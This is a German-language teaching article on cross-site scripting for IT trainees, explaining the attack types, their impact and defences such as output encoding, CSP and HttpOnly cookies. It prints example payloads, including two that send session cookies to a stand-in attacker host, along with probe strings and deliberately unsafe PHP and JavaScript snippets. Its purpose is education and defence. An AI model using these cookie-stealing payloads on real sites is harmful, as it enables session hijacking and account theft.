XSS

XSS (Cross-Site Scripting) ist eine der haeufigsten und gefaehrlichsten Sicherheitsluecken in Webanwendungen. Bei diesem Angriff schleusen Angreifer schadhaften JavaScript-Code in Webseiten ein, der dann im Browser anderer Benutzer ausgefuehrt wird. Die OWASP (Open Web Application Security Project) listet XSS seit Jahren unter den kritischsten Sicherheitsrisiken fuer Webanwendungen.

Im Gegensatz zu SQL Injection, die das Backend einer Anwendung angreift, zielt XSS auf die Client-Seite ab. Der eingeschleuste Code wird im Browser des Opfers ausgefuehrt und hat dadurch Zugriff auf Cookies, Session-Tokens und andere sensible Daten. Das Gefaehrliche: Der Browser des Benutzers vertraut dem Code, weil er scheinbar von der legitimen Webseite stammt.

So funktioniert ein XSS-Angriff

XSS-Angriffe nutzen eine grundlegende Schwaeche aus: Webanwendungen nehmen Benutzereingaben entgegen und geben diese ohne ausreichende Pruefung wieder aus. Stell dir ein Suchfeld vor, das den Suchbegriff auf der Ergebnisseite anzeigt: "Sie haben nach: [Suchbegriff] gesucht". Wenn die Eingabe nicht bereinigt wird, kann ein Angreifer statt eines normalen Suchbegriffs JavaScript-Code eingeben.

Ein einfaches Beispiel: Ein Angreifer gibt als Suchbegriff folgenden Code ein:

<script>alert('XSS')</script>

Wenn die Webseite diesen Code ungefiltert in die HTML-Antwort einbettet, interpretiert der Browser das Script-Tag als legitimen JavaScript-Code und fuehrt ihn aus. In diesem Fall erscheint nur ein harmloses Popup - in der Realitaet kann der Code jedoch Passwoerter stehlen oder Konten uebernehmen.

Die drei Haupttypen von XSS

Je nach Angriffsvektor unterscheidet man drei XSS-Typen. Das Verstaendnis dieser Varianten hilft dir, Sicherheitsluecken besser zu erkennen und abzusichern.

Reflected XSS (nicht-persistent)

Bei Reflected XSS wird der schadhafte Code nicht gespeichert, sondern direkt in der HTTP-Antwort "zurueckgeworfen". Der Angreifer erstellt einen manipulierten Link mit eingebettetem JavaScript und verbreitet diesen per E-Mail oder Social Media. Klickt das Opfer auf den Link, wird der Code im Kontext der Zielseite ausgefuehrt.

Beispiel eines manipulierten Links:

https://example.com/search?q=<script>document.location='https://angreifer.de/steal?cookie='+document.cookie</script>

Reflected XSS ist die haeufigste XSS-Variante, da sie einfach zu konstruieren ist. Allerdings muss der Angreifer jedes Opfer individuell mit dem manipulierten Link kodern.

Stored XSS (persistent)

Stored XSS ist die gefaehrlichste Variante. Hier wird der schadhafte Code dauerhaft auf dem Server gespeichert - etwa in einem Kommentarfeld, Gaestebuch oder Benutzerprofil. Jeder Benutzer, der die betroffene Seite aufruft, fuehrt den Code automatisch aus, ohne auf einen speziellen Link klicken zu muessen.

Ein Angreifer koennte beispielsweise folgenden "Kommentar" in einem Blog hinterlassen:

Toller Artikel! <script>fetch('https://angreifer.de/log?cookie='+document.cookie)</script>

Jeder Besucher des Blogbeitrags sendet nun unwissentlich seine Cookies an den Angreifer. Bei viel besuchten Seiten kann ein einzelner Stored-XSS-Angriff Tausende Benutzer treffen.

DOM-based XSS

Bei DOM-based XSS findet die Manipulation ausschliesslich im Browser statt - der Server ist nicht direkt beteiligt. JavaScript-Code auf der Webseite liest Daten aus einer unsicheren Quelle (z.B. der URL) und schreibt diese ohne Pruefung ins DOM (Document Object Model).

Ein Beispiel: Eine Seite liest den URL-Hash und zeigt ihn an:

// Unsicherer Code
let hash = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Willkommen, ' + hash;

Ruft jemand die Seite mit #<img src=x onerror="alert('XSS')"> auf, wird der Code ausgefuehrt. DOM-XSS ist schwerer zu erkennen, da der Server die Attacke nicht in seinen Logs sieht.

Auswirkungen von XSS-Angriffen

Die Auswirkungen eines erfolgreichen XSS-Angriffs koennen verheerend sein. Der Angreifer kann praktisch jede Aktion durchfuehren, zu der auch der legitime Benutzer berechtigt ist:

• Session-Hijacking: Stehlen von Session-Cookies, um Benutzerkonten zu uebernehmen - ohne Passwort
• Phishing im Kontext: Einschleusen gefaelschter Login-Formulare auf der echten Webseite
• Keylogging: Aufzeichnen aller Tastatureingaben (Passwoerter, Kreditkartendaten)
• Malware-Verteilung: Umleitung auf schadhafte Webseiten oder Drive-by-Downloads
• Defacement: Verunstalten der Webseite, um den Ruf des Betreibers zu schaedigen
• Wurm-Verbreitung: Automatisches Verteilen des Schadcodes an weitere Benutzer (z.B. durch automatisches Posten)

Ein prominentes Beispiel war der British Airways Hack 2018: Angreifer nutzten XSS, um 380.000 Kreditkartendaten zu stehlen. Die Fluggesellschaft erhielt eine Strafe von ueber 180 Millionen Pfund.

Schutzmassnahmen gegen XSS

XSS laesst sich mit den richtigen Techniken zuverlaessig verhindern. Die wichtigste Massnahme ist Output-Encoding, ergaenzt durch weitere Schutzmechanismen nach dem Defense-in-Depth-Prinzip.

Output-Encoding (Escaping)

Output-Encoding ist der wirksamste Schutz gegen XSS. Dabei werden Sonderzeichen so kodiert, dass der Browser sie als Text und nicht als Code interpretiert. Das Zeichen < wird beispielsweise zu <, sodass kein HTML-Tag entsteht.

Die Art der Kodierung haengt vom Kontext ab:

• HTML-Kontext: Zeichen wie <, >, &, ", ' in HTML-Entities umwandeln
• JavaScript-Kontext: Nicht-alphanumerische Zeichen als Unicode-Escapes (\u003c statt <)
• URL-Kontext: URL-Encoding verwenden (%3C statt <)
• CSS-Kontext: CSS-Escaping anwenden

Hier ein Beispiel in PHP:

// UNSICHER - anfaellig fuer XSS
echo "Willkommen, " . $_GET['name'];

// SICHER - mit HTML-Encoding
echo "Willkommen, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

Content Security Policy (CSP)

Content Security Policy ist ein HTTP-Header, der dem Browser mitteilt, welche Ressourcen er laden darf. Eine strenge CSP kann XSS-Angriffe erheblich erschweren, indem sie Inline-Scripts und externes JavaScript einschraenkt.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Diese Policy erlaubt nur Scripts vom eigenen Server ('self') und blockiert Inline-Scripts sowie Object-Tags. Moderne CSP-Implementierungen nutzen Nonces (Zufallswerte), um legitime Inline-Scripts gezielt freizugeben.

HttpOnly-Cookies

Das HttpOnly-Flag verhindert, dass JavaScript auf Cookies zugreifen kann. Selbst bei erfolgreichem XSS kann der Angreifer die Session-Cookies nicht per document.cookie auslesen. In Kombination mit dem Secure-Flag (nur HTTPS) und SameSite bieten Cookies maximalen Schutz:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

Eingabevalidierung

Pruefe Benutzereingaben auf erlaubte Zeichen und Formate. Nutze dabei Whitelist-Ansaetze: Definiere, was erlaubt ist, statt zu versuchen, alles Gefaehrliche zu blockieren (Blacklist). Ein Postleitzahlenfeld sollte nur Ziffern akzeptieren, ein E-Mail-Feld nur gueltige E-Mail-Adressen.

XSS erkennen und testen

Um Schwachstellen in deinen eigenen Anwendungen zu finden, gibt es verschiedene Tools und Methoden. Wichtig: Teste nur Systeme, fuer die du eine Berechtigung hast.

• OWASP ZAP: Kostenloses Open-Source-Tool mit automatisiertem Scanner und Proxy-Funktion
• Burp Suite: Professionelles Penetration-Testing-Framework (Community-Version kostenlos)
• Manuelle Tests: Gib in Eingabefelder Test-Payloads wie <script>alert(1)</script> oder "><img src=x onerror=alert(1)> ein
• Browser-Entwicklertools: Pruefe, ob Eingaben ungefiltert im HTML erscheinen
• Statische Code-Analyse: Tools wie SonarQube erkennen unsichere Output-Methoden

XSS in der Ausbildungspraxis

XSS ist ein zentrales Thema in der IT-Sicherheit und gehoert zum Pflichtprogramm fuer jeden Entwickler. Als Fachinformatiker fuer Anwendungsentwicklung musst du sichere Webanwendungen entwickeln koennen. Output-Encoding sollte zur Standardpraxis gehoeren - moderne Frameworks wie React, Angular oder Vue.js bieten bereits eingebauten XSS-Schutz.

Auch Fachinformatiker fuer Systemintegration benoetigen XSS-Kenntnisse, um Web Application Firewalls zu konfigurieren und Sicherheitsaudits durchzufuehren. In der IHK-Abschlusspruefung tauchen XSS und andere Injection-Angriffe regelmaessig als Pruefungsthemen auf.

Quellen und weiterfuehrende Links

• OWASP XSS - Offizielle OWASP-Dokumentation zu Cross-Site Scripting
• OWASP XSS Prevention Cheat Sheet - Praktische Schutzmassnahmen
• PortSwigger Web Security Academy: XSS - Interaktive Lernplattform mit Labs
• MDN Web Docs: XSS - Mozilla-Dokumentation
• Wikipedia: Cross-Site-Scripting - Allgemeine Einfuehrung